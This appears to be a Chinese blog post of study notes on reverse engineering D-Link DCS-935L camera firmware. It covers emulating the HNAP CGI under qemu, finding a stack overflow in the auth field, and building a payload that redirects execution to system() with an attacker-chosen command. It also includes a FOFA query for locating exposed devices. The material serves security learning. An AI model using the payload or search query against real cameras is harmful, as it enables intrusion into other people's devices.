本文最后更新于 2026年8月8日 下午
iot固件逆向学习 路由器逆向 二进制安全 摄像头0day漏洞挖掘入门第一课_哔哩哔哩_bilibili
一二三课都看完了,但是自己再单独做的时候还是有很多需要回看的
再次感叹ai的力量,除了找到溢出点后少量的纠正,自己就能提取到rop链条,其次,对于qemu异架构的使用以及调试,脚本内开启执行调试与断点与调用,网上没有直接的教程,视频里也没有对于脚本内设置断点调用的教程,ai能给出一个可行的调用方式。
遥想之前没有gdb调试教程的时候,硬找十分难学,后来有人出了详细的每一步的开始以及调用教程,才基本掌握调试方法。但是没有人出详细教程的时候自行十分难学难找,现在的ai啊。
1. cgi的调试
fofa 资产搜集
1 app ="D_Link-DCS-935L" &&after="2026-06-1"
固件解包后找到其web服务,一般来说,以d为后缀的总是为某个服务的服务端例如:httpd(httpweb服务)、telnetd(telnet服务)
cgi参数从环境变量中提取,可以用export设置环境变量并传参
解析执行cgi对应的web服务
用qemu来模拟其他架构的运行
把对应文件复制过去,用chroot设置根路径为接报后的文件系统。把当前这个文件夹当作系统的根目录(/),然后去运行这个文件夹里面的 bin/sh 程序。
但是我这里虚拟机运行时无法正常切过去,得先指定(kali2022已经取消了qemu-mips-static中间版本)(现在叫做qemu-mips)
可以直接指定去运行
但是上述原因是因为没有开启binfmt,让内核知道mips架构通过qemu来翻译
配置环境变量,以及把xml文件当作输入,执行hnap_service
1 2 3 4 5 6 export REQUEST_METHOD=POST export SOAP_ACTION="http://purenetworks.com/HNAP1/GetDeviceSettings" export CONTENT_LENGTH=311 export REMOTE_ADDR=192.168.0.2 /web/cgi-bin/hnap/hnap_service < /tmp/hnap_req.xml
ai以标准命名和对该运行文件的逆向分析生成该文件(博主是自行抓包了一份)
1 2 3 4 5 6 7 8 9 10 11 cat > /tmp/hnap_req.xml <<'EOF'<?xml version="1.0" encoding="utf-8" ?> <soap:Envelope xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" xmlns:soap ="http://schemas.xmlsoap.org/soap/envelope/" > <soap:Body > <GetDeviceSettings xmlns ="http://purenetworks.com/HNAP1/" /> </soap:Body > </soap:Envelope > EOF
qemu中开启等待调试的服务
1 ./qemu-mips /web/cgi-bin/hnap/hnap_service < /tmp/hnap_req.xml
可以用ida接入该调试
注意ida静态分析时,汇编模式下按x交叉引用要点函数名,只点旁边的地址的话不能正常显示 strcpy函数是常见的危险函数,将env的字符串赋值过去,env由getenv函数获取,获取的是用户可控的输入变量
将函数命名为dangers,交叉引用发现在main函数调用
参数第一步,REQUEST_METHOD为POST
第二三步,SOAP_ACTION不能为空且不能由具体指向的值,CONTENT_LENGTH不能大于0x20000(这个决定读取多长)
进入dangers函数后
这几个都不能为空,否则直接释放
cookie可以随便填,hnap_auth是溢出点,用这个来覆盖跳转的地址,soap_action与后面的hash校验有关,校验失败直接转向退出该函数,看着可以随便填先。
最后执行效果
博主给的dlink需要chroot修改路径,找ai改了改,指定了对应的执行路径。
待办:调试找到跳转点,调试看注入点,学习在脚本执行时进行qemu的mips架构的调试,学习ai的另一种方法的区别,调试查看字符串被划分时栈内存的移动情况,学习基础的mips架构下的指令。
手动开启调试
1 ./qemu-mips -g 1234 web/cgi-bin/hnap/hnap_service
另一个窗口
1 2 gdb -multiarch web/cgi-bin/hnap/hnap_servicetarget remote :1234
get ida 小技巧,可以直接将伪代码与汇编对照
常用的汇编:
lw:将右侧中存的值写到左侧
同理:sw左往右写
关于寄存器
(与函数运行相关,如果不恢复s0-s8,不会检测错误,只是会运行有误)
这里在清出一片0来
经过脚本测试,SOAP_ACTION随便填也没影响。
2.qumu在py脚本内调用测试 寻找溢出点偏移时可以用这种填充来方便直接找到,省的自己算
1 2 3 4 from pwn import * payload = cyclic(200 ) p.send(payload) offset = cyclic_find(0x61616167 )
需要恢复gp的原因,system函数这里需要resolve来处理环境
在脚本内附加调试的方法,qemu的启动为-g时会停留在start等待调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 DEBUG='--debug' in sys.argv or '-d' in sys.argv PORT='1234' rest=[a for a in sys.argv[1 :] if a not in ('--debug' ,'-d' )]if DEBUG and rest and rest[0 ].isdigit(): PORT=rest[0 ]; rest=rest[1 :]if DEBUG: qemu_args=[QEMU,'-L' ,S,'-g' ,PORT,target] else : qemu_args=[QEMU,'-L' ,S,target] p=process(qemu_args,env=env,stdin=PIPE,stdout=PIPE,stderr=STDOUT)if DEBUG: p.send(body) log.info(f'调试模式: qemu gdbstub 端口 {PORT} , body 已发送; 正在自动弹 gdb 窗口(pwndbg)...' ) context.terminal=['x-terminal-emulator' ,'-e' ] gdbscript=""" set pagination off set auto-solib-add off b *0x4033f0 """ gdb.attach(('localhost' ,int (PORT)), gdbscript=gdbscript, exe=target) log.info('gdb 窗口已弹出, 调试完成后在 gdb 里 quit 即可' ) p.interactive()
ida模式:注意,调试完后ida点运行,不能直接点终止,否则会结束终端处的执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if IDA_MODE: # IDA 模式: 只开 gdbstub, 不调用 gdb.attach(gdbstub 单连接, IDA 要独占!) p.send(body) # 先发 body(管道中, IDA continue 后程序才读) log.info (f'IDA 模式: qemu gdbstub 端口 {PORT}, body 已发送' ) log.info (f'现在用 IDA 附加:' ) log.info (f' 1. Debugger → Select debugger → Remote GDB debugger' ) log.info (f' 2. Debugger → Process options → Hostname=127.0.0.1 Port={PORT}' ) log.info (f' 3. Debugger → Attach to process → OK' ) log.info (f' 4. F2 断 0x4033f0 → F9 运行 → 寄存器看 $s0/$t9, G 跳 0x43a830 看命令串' ) log.info ('调试完成后 回本终端按enter' ) pause() p.interactive() sys.exit(0)
要卡到system执行时才能停止
先进入有漏洞的初始位置的地方下断点
补充一个写入的地方(仅此一次的输入处),读取了之前输入的长度,并从输入管道中提取。
输入的命令从这里开始的
以下是写入的内容(小tips:iml文件中只要符合这种格式就可以加入,ThisIsGoodThing其实是没有的,只是自行命名输入的,加入command这种字符串,方便定位输入的位置)
1 2 3 body=(b'<?xml version="1.0" encoding="utf-8" ?> <soap:Envelope xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" xmlns:soap ="http://schemas.xmlsoap.org/soap/envelope/" > <soap:Body > <SetDeviceSettings xmlns ="http://192.168.0.1/HNAP1/" > <Action > SetDeviceSettings</Action > <DeviceName > 1</DeviceName > <ThisIsGoodThing > command:' + b':;'*30000 + cmd + b';echo 114514 #</ThisIsGoodThing > </SetDeviceSettings > </soap:Body > </soap:Envelope > ')
输入的内容会被生成为一个xml文件,后续以xml文件的形式读取(dangers函数是用ida自行重命名的函数)
重点关注0x402030之后开始的strcpy
这里的strtok根据“ ”0x20空格来截断提取,提取后改为0x00(字符串结尾),并赋值
两次strtok,把之前的0x20截为了0x00,正好使其为正确的地址
hashcode会检测不通过,直接返回
最后恢复了s0-s8寄存器(在栈的最后),最后的4个字节是跳转到的地址,jump_to前的那些字节对应的是s0-s8
由于mip异架构,有延迟槽机制:分支或跳转调用下面的一条一定会执行,且先于跳转指令。这里实际传参在调用的下面,也就是会把s0寄存器传递到a0作为参数,这也是选择这个sysytem函数调用的原因,其他的system函数无法用s0直接调用,而s0-s8这一组寄存器是最容易进行修改的。
启用调试后正常执行
思考:system执行后的gp寄存器是调用的参数,如果不恢复会怎么样,调试看看
如果不恢复的话,发现无法找到正确的system地址
也就是以下这段跳转,其实使用gp索引来对应到的system,如果不恢复的话,无法正常索引到system的调用地址。